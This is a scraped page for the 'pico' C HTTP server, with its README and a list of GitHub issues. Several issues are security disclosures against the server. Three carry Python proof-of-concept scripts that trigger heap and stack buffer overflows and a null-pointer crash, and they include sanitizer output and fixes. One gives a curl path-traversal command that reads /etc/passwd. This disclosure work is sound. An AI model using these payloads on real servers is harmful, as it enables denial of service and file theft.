Git Product home page Git Product logo

pico's Introduction

Pico HTTP Server in C

This is a very simple HTTP server for Unix, using fork(). It's very easy to use.

How to use

  1. Include header httpd.h.
  2. Write your route method, handling requests.
  3. Call serve_forever("8000") to start serving on http://127.0.0.1:8000/.

See main.c, an interesting example.

To log stuff, use fprintf(stderr, "message");

View httpd.h for more information.

Quick start

  1. Run make.
  2. Run ./server or ./server [port] (port = 8000 by default).
  3. Open http://localhost:8000/ or http://localhost:8000/test in browser to see request headers.

Testing and benchmarking

I suggest using Siege utility for testing and benchmarking the Pico HTTP server.

> siege -i -f urls.txt

Links

Reworked and refactored from https://gist.github.com/laobubu/d6d0e9beb934b60b2e552c2d03e1409e.

Based on http://blog.abhijeetr.com/2010/04/very-simple-http-server-writen-in-c.html.

pico's People

Contributors

dependabot[bot] avatar foxweb avatar giorgosioak avatar jamviking avatar laobubu avatar rdentato avatar stever avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar

pico's Issues

accept() error: too many open files

If you refresh the page a lot, file descriptors leak. The number of descriptors increases by two with each update.
Checked using the command:
lsof -u whoami | wc -l
When the number of descriptors exceeds the limit threshold in the loop "accept() error: too many open files".
And in function respond, I added free(buf); at the end.

Off-by-one buffer overflow in void respond(int slot)

Hi!

While executing my fuzz tests, I discovered an off-by-one buffer overflow in void respond(int slot), line 173:

pico/httpd.c

Line 173 in f3b69a6

buf[rcvd] = '\0';

Any project that utilizes pico is potentially vulnerable. I have outlined the reproduction steps below, and offer some mitigations that can be implemented to protect yourself.

Makefile Modifications

The following modifications were made to the Makefile to compile pico with address sanitizer and debug symbols. The purpose of this is to track and verify the location of the off-by-one buffer overflow:

all: server

clean:
	@rm -rf *.o
	@rm -rf server

server: main.o httpd.o
	gcc -o server $^ -fsanitize=address -g

main.o: main.c httpd.h
	gcc -c -o main.o main.c -fsanitize=address -g

httpd.o: httpd.c httpd.h
	gcc -c -o httpd.o httpd.c -fsanitize=address -g

Compiling Pico

$ make

Proof of Concept Python3 Script

Save the following script to a file named poc.py. The script will send an HTTP request with a malformeed 'Host' header to the pico server:

#!/usr/bin/env python3

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8000))
sock.send(b"GET /hello HTTP/1.1\r\n"+b"C"*65534+b" localhost:8000\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nDNT: 1\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: none\r\nSec-Fetch-User: ?1\r\n\r\n\r\n")
response = sock.recv(4096)
sock.close()

Starting Pico

./server

Executing our Python3 Script

# python3 poc.py

Address Sanitizer Output

The following output was produced by address sanitizer:

==356968==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6310000107ff at pc 0x55ae6c37ef26 bp 0x7ffd53a18ad0 sp 0x7ffd53a18ac8                                  
WRITE of size 1 at 0x6310000107ff thread T0                                           
    #0 0x55ae6c37ef25 in respond /home/kali/projects/fuzzing/pico/httpd.c:173
    #1 0x55ae6c37e199 in serve_forever /home/kali/projects/fuzzing/pico/httpd.c:67
    #2 0x55ae6c37d4d3 in main /home/kali/projects/fuzzing/pico/main.c:13
    #3 0x7f5394ed46c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #4 0x7f5394ed4784 in __libc_start_main_impl ../csu/libc-start.c:360
    #5 0x55ae6c37d3b0 in _start (/home/kali/projects/fuzzing/pico/server+0x33b0) (BuildId: f62da5ef1f726838c2864638756f4930a324ceb6)

0x6310000107ff is located 0 bytes after 65535-byte region [0x631000000800,0x6310000107ff)                                                                                   
allocated by thread T0 here:                                                          
    #0 0x7f53948d85bf in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x55ae6c37edcc in respond /home/kali/projects/fuzzing/pico/httpd.c:164
    #2 0x55ae6c37e199 in serve_forever /home/kali/projects/fuzzing/pico/httpd.c:67
    #3 0x55ae6c37d4d3 in main /home/kali/projects/fuzzing/pico/main.c:13
    #4 0x7f5394ed46c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/kali/projects/fuzzing/pico/httpd.c:173 in respond
Shadow bytes around the buggy address:
  0x631000010500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x631000010580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x631000010600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x631000010680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x631000010700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x631000010780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[07]
  0x631000010800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x631000010880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x631000010900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x631000010980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x631000010a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==356968==ABORTING


ASan is indicating a 'heap-buffer-overflow' issue, which means the program tried to access memory beyond the allocated heap buffer. This specific error occurred during a write operation at the memory address 0x6310000107ff. This is a common off-by-one vulnerability that can lead to crashes, unpredictable behavior, or security risks.

The overflow is happening in the function respond within the file httpd.c at line 173, during the execution the server program (pico/server). This function was called by serve_forever (httpd.c:67), which in turn was called by the main function (main.c:13).

Mitigation

The error message from ASan points to an off-by-one error on the line buf[rcvd] = '\0'; in the respond function. This line attempts to null-terminate the buffer received from the recv function, but it doesn't account for the fact that the recv function might fill the entire buffer, leaving no space for the null terminator.

pico/httpd.c

Line 173 in f3b69a6

buf[rcvd] = '\0';

To fix this issue, you need to ensure that recv leaves room for the null terminator in the buffer. You can do this by receiving one less byte than the buffer size. Furthermore, it's good practice to initialize the buffer with zeros to avoid any undefined behavior.

Here's the modified version of the respond function with the necessary corrections:

void respond(int slot) {
  int rcvd;

  buf = malloc(BUF_SIZE);
  memset(buf, 0, BUF_SIZE);  // Initialize buffer with zeros
  // Receive up to BUF_SIZE - 1 bytes to leave room for the null terminator
  rcvd = recv(clients[slot], buf, BUF_SIZE - 1, 0);

  if (rcvd < 0) // receive error
    fprintf(stderr, ("recv() error\n"));
  else if (rcvd == 0) // receive socket closed
    fprintf(stderr, "Client disconnected unexpectedly.\n");
  else // message received
  {
    buf[rcvd] = '\0'; // Safe to add null terminator

    // ... (rest of your code)
  }

  // ... (rest of your code)
}

  • Buffer Initialization: memset(buf, 0, BUF_SIZE); initializes the buffer with zeros, ensuring all elements are set to '\0' before receiving data.
  • Adjusted recv Size: The size parameter in recv(clients[slot], buf, BUF_SIZE - 1, 0); is set to BUF_SIZE - 1 to reserve space for the null terminator at the end of the buffer.

References

how to send a 3mb json

how to send a 3mb json?
I thought it was BUF_SIZE but it didn't work..

appears -> Expect: 100-continue

Remote buffer overflow in main.c

Hi!

I discovered a remote stack buffer overflow vulnerability in the function void route() at main.c, line 81:

pico/main.c

Lines 79 to 81 in f3b69a6

GET(uri) {
char file_name[255];
sprintf(file_name, "%s%s", PUBLIC_DIR, uri);

Any project that utilizes pico is vulnerable to remote code execution. I have outlined the reproduction steps below, and offer some mitigations that can be implemented to protect yourself.

Makefile Modifications

The following modifications were made to the Makefile to compile pico with address sanitizer and debug symbols. The purpose of this is to track and verify the location of the stack buffer overflow vulnerability:

all: server

clean:
	@rm -rf *.o
	@rm -rf server

server: main.o httpd.o
	gcc -o server $^ -fsanitize=address -g

main.o: main.c httpd.h
	gcc -c -o main.o main.c -fsanitize=address -g

httpd.o: httpd.c httpd.h
	gcc -c -o httpd.o httpd.c -fsanitize=address -g

Compiling Pico

$ make

Proof of Concept Python3 Script

Save the following script to a file named poc.py. The script will send an HTTP request with a malformed URI (2,000,000 bytes long) to Pico and wait for a response:

#!/usr/bin/env python3

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8000))
sock.send(b"GET /"+b"C"*2000000+b"HTTP/1.1\r\nHost:localhost:8000\r\n\r\n")
response = sock.recv(4096)
sock.close()

Starting Pico

./server

Executing our Python3 Script

# python3 poc.py

Address Sanitizer Output

The following output was produced by address sanitizer:

==960119==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7f214c10015f at pc 0x7f214e09215c bp 0x7ffe88c08220 sp 0x7ffe88c079e0
WRITE of size 65487 at 0x7f214c10015f thread T0                                                                                                                                 
    #0 0x7f214e09215b in __interceptor_vsprintf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1765
    #1 0x7f214e09233e in __interceptor_sprintf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1808
    #2 0x556476f2cd71 in route /home/kali/projects/fuzzing/pico/main.c:81
    #3 0x556476f2e336 in respond /home/kali/projects/fuzzing/pico/httpd.c:222
    #4 0x556476f2d199 in serve_forever /home/kali/projects/fuzzing/pico/httpd.c:67
    #5 0x556476f2c4d3 in main /home/kali/projects/fuzzing/pico/main.c:13
    #6 0x7f214de456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #7 0x7f214de45784 in __libc_start_main_impl ../csu/libc-start.c:360
    #8 0x556476f2c3b0 in _start (/home/kali/projects/fuzzing/pico/server+0x33b0) (BuildId: f62da5ef1f726838c2864638756f4930a324ceb6)

Address 0x7f214c10015f is located in stack of thread T0 at offset 351 in frame
    #0 0x556476f2c7e0 in route /home/kali/projects/fuzzing/pico/main.c:44

  This frame has 2 object(s):
    [32, 52) 'index_html' (line 48)
    [96, 351) 'file_name' (line 80) <== Memory access at offset 351 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1765 in __interceptor_vsprintf
Shadow bytes around the buggy address:
  0x7f214c0ffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f214c0fff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f214c0fff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f214c100000: f1 f1 f1 f1 00 00 04 f2 f2 f2 f2 f2 00 00 00 00
  0x7f214c100080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7f214c100100: 00 00 00 00 00 00 00 00 00 00 00[07]f3 f3 f3 f3
  0x7f214c100180: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f214c100200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f214c100280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f214c100300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7f214c100380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==960119==ABORTING

This error is caused by writing data that exceeds the allocated buffer size. In this case, the buffer 'file_name' defined in the route function with a size of 255 bytes is overflowing. The overflow is occurring in the sprintf call, where you concatenate PUBLIC_DIR with uri or other strings to form a file path. If the combined length of these strings exceeds 255 characters, it will overflow the file_name buffer.

Mitigation

To quickly mitigate this vulnerability, replace sprintf with snprintf, which allows you to specify the maximum number of characters to be written, including the null terminator. This prevents the stack buffer overflow by truncating the string if it exceeds the specified length.

Buffer overflow vulnerability:

sprintf(file_name, "%s%s", PUBLIC_DIR, uri);

Modified code preventing a buffer overflow:

snprintf(file_name, sizeof(file_name), "%s%s", PUBLIC_DIR, uri);

References

Path traversal vulnerability in main.c

Problem

The program fails to handle user's URL input correctly, resulting in path traversal.

Proof of Concept

  • run ./server 8000
  • curl --path-as-is http://127.0.0.1:8000/../../../../../../etc/passwd

Add directory index

Add nginx-like directory index with support index.html in subdirectories.

Null pointer dereference in void respond(int slot) at httpd.c

Hi!

While executing my fuzz tests, I discovered a null pointer dereference in void respond(int slot) at httpd.c, lines 201-215:

pico/httpd.c

Lines 199 to 210 in f3b69a6

val = strtok(NULL, "\r\n");
while (*val && *val == ' ')
val++;
h->name = key;
h->value = val;
h++;
fprintf(stderr, "[H] %s: %s\n", key, val);
t = val + 1 + strlen(val);
if (t[1] == '\r' && t[2] == '\n')
break;
}

Any project that utilizes pico is potentially vulnerable. I have outlined the reproduction steps below, and offer some mitigations that can be implemented to protect yourself.

Makefile Modifications

The following modifications were made to the Makefile to compile pico with address sanitizer and debug symbols. The purpose of this is to track and verify the location of the null pointer derefeernce:

all: server

clean:
	@rm -rf *.o
	@rm -rf server

server: main.o httpd.o
	gcc -o server $^ -fsanitize=address -g

main.o: main.c httpd.h
	gcc -c -o main.o main.c -fsanitize=address -g

httpd.o: httpd.c httpd.h
	gcc -c -o httpd.o httpd.c -fsanitize=address -g

Compiling Pico

$ make

Proof of Concept Python3 Script

Save the following script to a file named poc.py. The script will send an malformed HTTP request to Pico and wait for a response:

#!/usr/bin/env python3

import socket

req = b'GET /hello HTTP/1.1\r\n%??%\x00? localhost:8000\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nDNT: 1\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: none\r\nSec-Fetch-User: ?1\r\n\r\n\r\n'
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8000))
sock.send(req)
response = sock.recv(4096)
sock.close()

Starting Pico

./server

Executing our Python3 Script

# python3 poc.py

Address Sanitizer Output

The following output was produced by address sanitizer:

==338311==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5589921650ea bp 0x7fff005bbce0 sp 0x7fff005bbca0 T0)
==338311==The signal is caused by a READ memory access.
==338311==Hint: address points to the zero page.
    #0 0x5589921650ea in respond /home/kali/projects/fuzzing/pico/httpd.c:200
    #1 0x558992164199 in serve_forever /home/kali/projects/fuzzing/pico/httpd.c:67
    #2 0x5589921634d3 in main /home/kali/projects/fuzzing/pico/main.c:13
    #3 0x7f0f3a8456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #4 0x7f0f3a845784 in __libc_start_main_impl ../csu/libc-start.c:360
    #5 0x5589921633b0 in _start (/home/kali/projects/fuzzing/pico/server+0x33b0) (BuildId: f62da5ef1f726838c2864638756f4930a324ceb6)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/kali/projects/fuzzing/pico/httpd.c:200 in respond
==338311==ABORTING

ASan indicates a segmentation fault (SEGV) encountered by the program, specifically during a READ memory operation at an unknown address 0x000000000000, which is typically indicative of a null pointer dereference. The error emerged in the respond function located in httpd.c at line 200, as part of the execution flow that started from the main function in main.c at line 13, went through the serve_forever function in httpd.c at line 67, and finally reached respond. The address involved points to the zero page, a memory area that is not accessible to programs under normal circumstances, and this access is what triggered the segmentation fault.

Mitigation

The issue arises because strtok might return a NULL pointer if it doesn't find the token it's looking for, and the code isn't checking for that before dereferencing val. When you dereference a NULL pointer (as in *val), it leads to undefined behavior, often resulting in a segmentation fault. To fix this, you should check if val is NULL before attempting to use it.

pico/httpd.c

Lines 199 to 210 in f3b69a6

val = strtok(NULL, "\r\n");
while (*val && *val == ' ')
val++;
h->name = key;
h->value = val;
h++;
fprintf(stderr, "[H] %s: %s\n", key, val);
t = val + 1 + strlen(val);
if (t[1] == '\r' && t[2] == '\n')
break;
}

Updated code, preventing a null pointer dereference:

val = strtok(NULL, "\r\n");

if (val != NULL) {
// Remove leading whitespaces by advancing the pointer
    while (*val && *val == ' ') {
        val++;
    }

      h->name = key;
      h->value = val;
      h++;
      fprintf(stderr, "[H] %s: %s\n", key, val);
      t = val + 1 + strlen(val);
      if (t[1] == '\r' && t[2] == '\n')
        break;
    }
}

References

Remotely Accessible Buffer Overflow (potential RCE bug)

H-h-hewwo??. I just wanted to wet u know, there is a wemotetwy accessible buffer overflow in da woute (route) function Uwu" This is caused by the spwintf("%s")s (sprintf) having user contwolled data fed into them witout pwoper size checks Owo;;;

On Post payload is a zero length string

Hi,

Just tried to do a post to PICO using the following command:
curl -d "url=a" -X POST http://localhost:8000/

Pico reported that 5 bytes was sent. However when I try and printf the string nothing is returned.
If I do a strlen(payload) this returns 0 bytes.

How do I reference the payload?

Thanks

Call to recv may only return partial request message

I'm observing in my use case that the initial call to 'recv' in function 'do_respond' in httpd.c in some cases does not return all bytes of the incoming message. This is usual behavior for sockets and a loop is usually applied to continue receiving until all data has arrived.

The ensuing code apparently assumes that a full request is received in the single call to 'recv'.

If this is not the case - as happens in my use case - the solution will somehow involve looking at the 'Content-Length' of the request receive data continuously until all data has arrived.

I'm raising this issue to get feedback if there is something I have completely misunderstood? I'm worried that I have misunderstood something basic, since this must be an issue that 'everyone' will encounter if the PICO server is used beyond small examples.

If it is indeed an issue, then there is an option here to get the solution I'll be making back into the repo if this is valuable in general?

Multiple definitions

You have variables definitions in .h file. And when you try to make this project, you already have errors.
make server gcc -c -o main.o main.c gcc -c -o httpd.o httpd.c gcc -o server main.o httpd.o /usr/bin/ld: httpd.o:(.bss+0x0): multiple definition of method'; main.o:(.bss+0x0): first defined here
/usr/bin/ld: httpd.o:(.bss+0x8): multiple definition of uri'; main.o:(.bss+0x8): first defined here /usr/bin/ld: httpd.o:(.bss+0x10): multiple definition of qs'; main.o:(.bss+0x10): first defined here
/usr/bin/ld: httpd.o:(.bss+0x18): multiple definition of prot'; main.o:(.bss+0x18): first defined here /usr/bin/ld: httpd.o:(.bss+0x20): multiple definition of payload'; main.o:(.bss+0x20): first defined here
/usr/bin/ld: httpd.o:(.bss+0x28): multiple definition of payload_size'; main.o:(.bss+0x28): first defined here collect2: error: ld returned 1 exit status make: *** [Makefile:8: server] Error 1

It seems that 'reqhdr' is not used in httpd.h !?

Hello,

I have just compiled your code and I see the following :

gcc -I include/ -o src/httpd.o -c src/httpd.c -Wall -pedantic
gcc -I include/ -o src/http_server src/main.c src/httpd.o -Wall -pedantic
In file included from src/main.c:1:
include/httpd.h:25:17: warning: ‘reqhdr’ defined but not used [-Wunused-variable]
25 | static header_t reqhdr[17] = {{"\0", "\0"}};
| ^~~~~~

Is there any mistake in your code ?
Thank you.

main.c:66:13: warning: incompatible pointer types passing 'char *[20]' to parameter of type 'char *'

https://github.com/foxweb/pico/blob/master/main.c#L65

When I use definition char *index_html; — this pointer has undefined value and causes HTTP-response failure.
Renaming doesn't help.

When I specify the length of the string — char *index_html[20]; — HTTP-response works fine, but produces warnings at compile time:

image

I think changing the type is a bad way to fix this because other functions are reporting about incompatible pointer types passing.

OS: macOS Catalina 10.15.7
gcc:

Configured with: --prefix=/Library/Developer/CommandLineTools/usr --with-gxx-include-dir=/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/c++/4.2.1
Apple clang version 11.0.3 (clang-1103.0.32.29)
Target: x86_64-apple-darwin19.6.0
Thread model: posix
InstalledDir: /Library/Developer/CommandLineTools/usr/bin

Doesn't handle small MAX_CONNECTIONS

Thank you for writing this code, it is a nice example of a basic web server that I am sure will help a lot of beginners.

I do find an issue if I set MAX CONNECTIONS to a low number like 5. it will respond 5 times then will not respond. 100% reproducible. If you look at this code:

void serve_forever(const char *PORT)

while (clients[slot] != -1 )
  slot = (slot + 1) % MAX_CONNECTIONS;

It will never exit because clients[slot] can never change while it is stuck in this loop.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.